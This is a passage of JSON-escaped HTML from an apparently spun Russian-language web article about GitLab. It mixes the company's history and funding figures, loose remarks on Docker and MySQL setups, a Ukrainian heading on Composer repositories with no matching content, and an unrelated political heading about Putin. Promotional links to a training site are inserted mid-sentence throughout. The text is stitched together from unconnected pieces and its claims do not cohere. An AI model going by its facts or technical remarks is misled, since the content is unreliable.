iQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCL\/\/2Q==\" width=\"309px\" alt=\"gitlab \u044d\u0442\u043e\"\/><\/p>\n<p>\u0414\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0432 GitLab \u0435\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f entity, \u043d\u0435 \u043e\u0444\u0438\u0441, \u043d\u043e \u044e\u0440\u0438\u0434\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043b\u0438\u0446\u043e, \u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043f\u043e\u043c\u043e\u0449\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0435\u043b\u043e\u043a\u0430\u0446\u0438\u0438 \u0432 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u044b. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0441 \u0432\u0438\u0437\u043e\u0439, \u043f\u0435\u0440\u0435\u0435\u0437\u0434\u043e\u043c. \u0422\u0430\u043a\u0436\u0435 \u0443 \u043d\u0430\u0441 \u043d\u0435 \u0434\u0430\u0432\u044f\u0442 \u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u043a\u0430\u0436\u0434\u044b\u0439 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0431\u0435\u0437 \u043d\u0430\u0434\u0437\u0438\u0440\u0430\u0442\u0435\u043b\u044f.<\/p>\n<h2 id=\"toc-0\">\u042f\u043a \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0432\u0430\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u0456 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0456\u0457 Gitlab \u0434\u043b\u044f Composer<\/h2>\n<p>\u0417\u0430 \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432 \u0440\u0435\u043a\u043b\u0430\u043c\u043d\u044b\u0445 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430\u0445, \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u0441\u0435\u0442 \u0440\u0435\u043a\u043b\u0430\u043c\u043e\u0434\u0430\u0442\u0435\u043b\u044c. \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u043a\u043e\u043d\u043a\u0443\u0440\u0435\u043d\u0442\u0430\u043c\u0438 \u0441\u0442\u0430\u0440\u0442\u0430\u043f\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f GitHub, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432  2018 \u0433\u043e\u0434\u0443 \u043f\u0440\u0438\u043e\u0431\u0440\u0435\u043b Microsoft \u0437\u0430 7,5 \u043c\u043b\u0440\u0434 \u0434\u043e\u043b\u043b., \u0438 Atlassian. \u0412 \u0438\u0442\u043e\u0433\u0435 \u0440\u044b\u043d\u043e\u0447\u043d\u0430\u044f \u043a\u0430\u043f\u0438\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u043e\u0439 \u0446\u0435\u043d\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u0430 11 \u043c\u043b\u0440\u0434 \u0434\u043e\u043b\u043b. \u0417\u0430 \u0433\u043e\u0434 GitLab \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u0432\u044b\u0440\u0443\u0447\u043a\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 424,3 \u043c\u043b\u043d \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432, \u0447\u0442\u043e \u043d\u0430 68% \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443, \u0438 \u043e\u0431 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0443\u0431\u044b\u0442\u043a\u0430\u0445 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 211 \u043c\u043b\u043d \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u043f\u0440\u043e\u0442\u0438\u0432 129 \u043c\u043b\u043d \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432. \u042d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u2014 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043d\u0430\u0447\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0441 SSH \u0438 rsync \u0432 \u0441\u0440\u0435\u0434\u0435 Dockerized. \u0415\u0441\u043b\u0438 \u0440\u0430\u0441\u0441\u0443\u0436\u0434\u0430\u0442\u044c, \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f, \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u043c, \u0447\u0442\u043e GitLab \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u043f\u0442\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f Git-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0432 \u043e\u0431\u043b\u0430\u043a\u0435 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0435\u0439 \u0434\u0430\u043d\u043d\u043e\u0439 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438.<\/p>\n<p>\u0423\u043a\u0440\u0430\u0438\u043d\u0441\u043a\u0438\u0439 \u0441\u0442\u0430\u0440\u0442\u0430\u043f GitLab \u043f\u0440\u0438\u0432\u043b\u0435\u043a $268 \u043c\u043b\u043d \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0430\u0443\u043d\u0434\u0430 \u0441\u0435\u0440\u0438\u0438 E. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044e \u043e\u0446\u0435\u043d\u0438\u043b\u0438 \u0432 $2,7 \u043c\u043b\u0440\u0434, \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 VentureBeat. \u041f\u0435\u0440\u0432\u044b\u0435 \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u043f\u0440\u043e\u0435\u043a\u0442 \u043d\u0435 \u0437\u0430\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b \u043d\u0438\u0447\u0435\u0433\u043e, \u043a\u0440\u043e\u043c\u0435 \u0440\u0435\u0434\u043a\u0438\u0445 \u0434\u043e\u043d\u0430\u0442\u043e\u0432. \u0412 2013 \u0433\u043e\u0434\u0443 \u0433\u043e\u043b\u043b\u0430\u043d\u0434\u0435\u0446 \u0421\u0438\u0431\u0440\u0430\u043d\u0434\u0436\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u043b GitLab \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0430\u0439\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b \u0417\u0430\u043f\u043e\u0440\u043e\u0436\u0446\u0443 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0438\u0437 \u0445\u043e\u0431\u0431\u0438 \u0431\u0438\u0437\u043d\u0435\u0441. \u041e\u043d \u0431\u044b\u043b \u0433\u043e\u0442\u043e\u0432 \u043f\u0440\u043e\u0444\u0438\u043d\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0430\u0440\u0442 \u0438\u0437 \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u0430\u0440\u043c\u0430\u043d\u0430. \u0412 2015 \u0433\u043e\u0434\u0443 \u0441\u0442\u0430\u0440\u0442\u0430\u043f \u043d\u0430\u043d\u044f\u043b \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432, \u043f\u043e\u043f\u0430\u043b \u0432 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u0441\u0442\u0430\u0440\u0442\u0430\u043f-\u0430\u043a\u0441\u0435\u043b\u0435\u0440\u0430\u0442\u043e\u0440 Y Combinator, \u0430 \u0437\u0430\u0442\u0435\u043c \u043d\u0430\u0447\u0430\u043b \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0432\u0435\u043d\u0447\u0443\u0440\u043d\u044b\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u0438.<\/p>\n<p>\u0423 \u043d\u0430\u0441 \u043d\u0435 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u0430, \u0442\u0430\u043a \u0438 \u043a\u043e\u0434\u0430. \u0414\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u0442\u0430\u0440\u044b\u0439 <a href=\"https:\/\/deveducation.com\/\">https:\/\/deveducation.com\/<\/a> \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0438 \u043f\u043e\u0434\u043d\u044f\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440. \u0415\u0441\u043b\u0438 \u0447\u0442\u043e \u043f\u043e\u0448\u043b\u043e \u043d\u0435 \u0442\u0430\u043a, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043e\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440, \u043f\u043e\u0434\u043d\u044f\u0442\u044c \u0441\u0442\u0430\u0440\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440.<\/p>\n<h2 id=\"toc-1\">\u041e\u0431\u00a0\u043e\u043f\u0446\u0438\u043e\u043d\u0430\u0445 \u0432\u00a0GitLab<\/h2>\n<p>\u0422\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c MySQL, \u0442\u043e \u043f\u0440\u0438\u043c\u0435\u0440 \u0441 MySQL \u2014 \u043d\u043e \u043d\u0438\u0447\u0442\u043e \u043d\u0435 \u043c\u0435\u0448\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u043a\u0443\u044e-\u0442\u043e \u0434\u0440\u0443\u0433\u0443 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 . \u0422\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445. \u041a\u0442\u043e-\u0442\u043e \u043d\u0435 \u0437\u0430\u043c\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043f\u0443\u0441\u0442\u044b\u043c \u043f\u0430\u0440\u043e\u043b\u0435\u043c root. \u0423 \u043a\u043e\u0433\u043e-\u0442\u043e \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 MySQL \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u043f\u0430\u0440\u043e\u043b\u044c \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043e\u0434\u0438\u043d 123. \u0427\u0430\u0441\u0442\u043e \u0441\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043a\u043e\u043d\u0444\u0438\u0433 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043c\u0435\u043d\u044f\u043b\u0441\u044f \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 commit \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430. \u0411\u044b\u043b\u0438 \u0443\u0445\u0438\u0449\u0440\u0435\u043d\u0438\u044f, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u0432\u044b\u043d\u043e\u0441\u0438\u043b\u0438 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u043a\u043e\u043d\u0444\u0438\u0433 \u0432 .gitignore \u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u043b \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445.<\/p>\n<p>\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0412 Ruby \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 \u0435\u0441\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f, \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0431\u0430\u0437 \u0434\u0430\u043d\u043d\u044b\u0445. Docker \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440 Python, Ruby, NodeJS, PHP \u043d\u0443\u0436\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. \u041c\u044b \u0438\u0437\u0431\u0430\u0432\u043b\u044f\u0435\u043c\u0441\u044f \u043e\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u0432\u0435\u0440\u0441\u0438\u0439. \u0420\u0430\u043d\u044c\u0448\u0435 \u0434\u043b\u044f Ruby \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 rpm-\u043f\u0430\u043a\u0435\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b \u043c\u0435\u043d\u044f\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u0430. \u0422\u0430\u043a\u0436\u0435 \u044d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f Docker-\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0443 \u043f\u043b\u0430\u0432\u043d\u043e \u043c\u0438\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u0434 \u0438 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0432\u043c\u0435\u0441\u0442\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438.<\/p>\n<ul>\n<li>\u0412 \u0438\u043d\u0442\u0435\u0440\u0432\u044c\u044e Forbes \u0438\u043d\u0436\u0435\u043d\u0435\u0440 \u0433\u043e\u0432\u043e\u0440\u0438\u043b, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 IPO \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043b \u043e\u0442\u0434\u043e\u0445\u043d\u0443\u0442\u044c \u0438 \u043e\u043a\u043e\u043b\u043e \u0433\u043e\u0434\u0430 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0434\u0435\u043b\u0430\u0442\u044c.<\/li>\n<li>\u0425\u043e\u0442\u044f \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 GitHub \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043c, \u043e\u0431\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0441\u0438\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u043d\u043e\u0441\u044f\u0442 \u0432\u043a\u043b\u0430\u0434 \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 GitLab \u0438 GitHub.<\/li>\n<li>C\u043e\u0443\u0447\u0440\u0435\u0434\u0438\u0442\u0435\u043b\u0435\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0445\u0430\u0440\u044c\u043a\u043e\u0432\u0447\u0430\u043d\u0438\u043d \u0414\u043c\u0438\u0442\u0440\u0438\u0439 \u0417\u0430\u043f\u043e\u0440\u043e\u0436\u0435\u0446.<\/li>\n<li>\u0421 \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043e\u043d\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0430\u0434 GitLab \u0444\u0443\u043b\u0442\u0430\u0439\u043c.<\/li>\n<li>\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u0441 \u043f\u043e\u043c\u0435\u0442\u043a\u0430\u043c\u0438 \u201c\u041d\u043e\u0432\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439\u201c, &#8220;\u0410\u043d\u043e\u043d\u0441\u044b&#8221;, &#8220;\u0410\u043a\u0446\u0438\u0438&#8221;, &#8220;\u0411\u043b\u043e\u0433\u0438&#8221; \u0438 PR \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u044e\u0442\u0441\u044f \u043d\u0430 \u043f\u0440\u0430\u0432\u0430\u0445 \u0440\u0435\u043a\u043b\u0430\u043c\u044b.<\/li>\n<li>\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0435 \u044f\u0434\u0440\u043e, \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0449\u0435\u0435 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c GitLab \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0440\u044f\u0434 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432.<\/li>\n<\/ul>\n<p>\u041d\u0430 \u0432\u0445\u043e\u0434\u0435 \u0441\u0442\u0430\u0440\u0442\u0430\u043f \u0436\u0434\u0430\u043b\u0430 \u0436\u0435\u0441\u0442\u043a\u0430\u044f \u043a\u043e\u043d\u043a\u0443\u0440\u0435\u043d\u0446\u0438\u044f \u2014 \u043e\u0442\u0431\u0438\u0440\u0430\u043b\u0438 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e 1-2% \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0438\u0437 \u0432\u0441\u0435\u0445 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445. \u041e\u0441\u043d\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 GitLab \u0432\u0441\u0435 \u0436\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u0438 \u043f\u0440\u0438\u0433\u043b\u0430\u0441\u0438\u043b\u0438 \u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0432\u044c\u044e. \u0417\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043b\u0441\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0435\u0449\u0435 \u0431\u0443\u0434\u0443\u0447\u0438 \u0441\u0442\u0443\u0434\u0435\u043d\u0442\u043e\u043c \u0425\u0430\u0440\u044c\u043a\u043e\u0432\u0441\u043a\u043e\u0433\u043e \u043d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0432\u0442\u043e\u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430, \u0438\u0437\u0443\u0447\u0430\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u0443\u044e \u0434\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u043a\u0443 \u0430\u0432\u0442\u043e\u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u0430. \u041f\u043e\u0441\u0442\u0443\u043f\u0430\u044f \u0432 \u0432\u0443\u0437, \u043e\u043d \u043d\u0430\u0434\u0435\u044f\u043b\u0441\u044f \u043a\u043e\u0433\u0434\u0430-\u043d\u0438\u0431\u0443\u0434\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u043e\u0447\u043d\u043e\u043c \u0431\u044e\u0440\u043e. \u041d\u043e \u0443\u0436\u0435 \u043d\u0430 \u0442\u0440\u0435\u0442\u044c\u0435\u043c \u043a\u0443\u0440\u0441\u0435 \u043f\u043e\u043d\u044f\u043b, \u0447\u0442\u043e \u0432 \u0423\u043a\u0440\u0430\u0438\u043d\u0435 \u043d\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0442 \u043c\u0435\u0440\u0441\u0435\u0434\u0435\u0441\u044b, \u0438 \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0435\u043c\u0443 \u043a\u0430\u0440\u044c\u0435\u0440\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043a\u0430 \u0447\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c.<\/p>\n<h2 id=\"toc-2\">\u041f\u0443\u0442\u0438\u043d \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0439 \u043c\u0438\u0440\u043d\u044b\u0439 \u043f\u043b\u0430\u043d: \u0447\u0442\u043e \u0436\u0434\u0430\u0442\u044c \u0423\u043a\u0440\u0430\u0438\u043d\u0435<\/h2>\n<p>\u0422\u0430\u043a\u0436\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0432\u0448\u0438\u043c \u043e\u0442 \u0432\u043e\u0439\u043d\u044b \u0443\u043a\u0440\u0430\u0438\u043d\u0446\u0430\u043c \u0447\u0435\u0440\u0435\u0437 \u0444\u043e\u043d\u0434 Sijbrandij Foundation. \u0421\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u044f\u0442 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c UNICEF, <a href=\"https:\/\/deveducation.com\/blog\/chto-luchshe-vybrat-github-ili-gitlab\/\">gitlab vs github<\/a> Save the Children, M\u00e9decins Sans Fronti\u00e8res \u0438 Amnesty International. \u00ab\u041c\u044b \u0445\u043e\u0442\u0438\u043c \u0432\u044b\u0440\u0430\u0437\u0438\u0442\u044c \u043d\u0430\u0448\u0435 \u0441\u043e\u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0435 \u0432\u0441\u0435\u043c, \u043a\u0442\u043e \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u043b \u043e\u0442 \u043d\u0430\u0441\u0438\u043b\u0438\u044f \u0438 \u043d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438.<\/p>\n<p><img 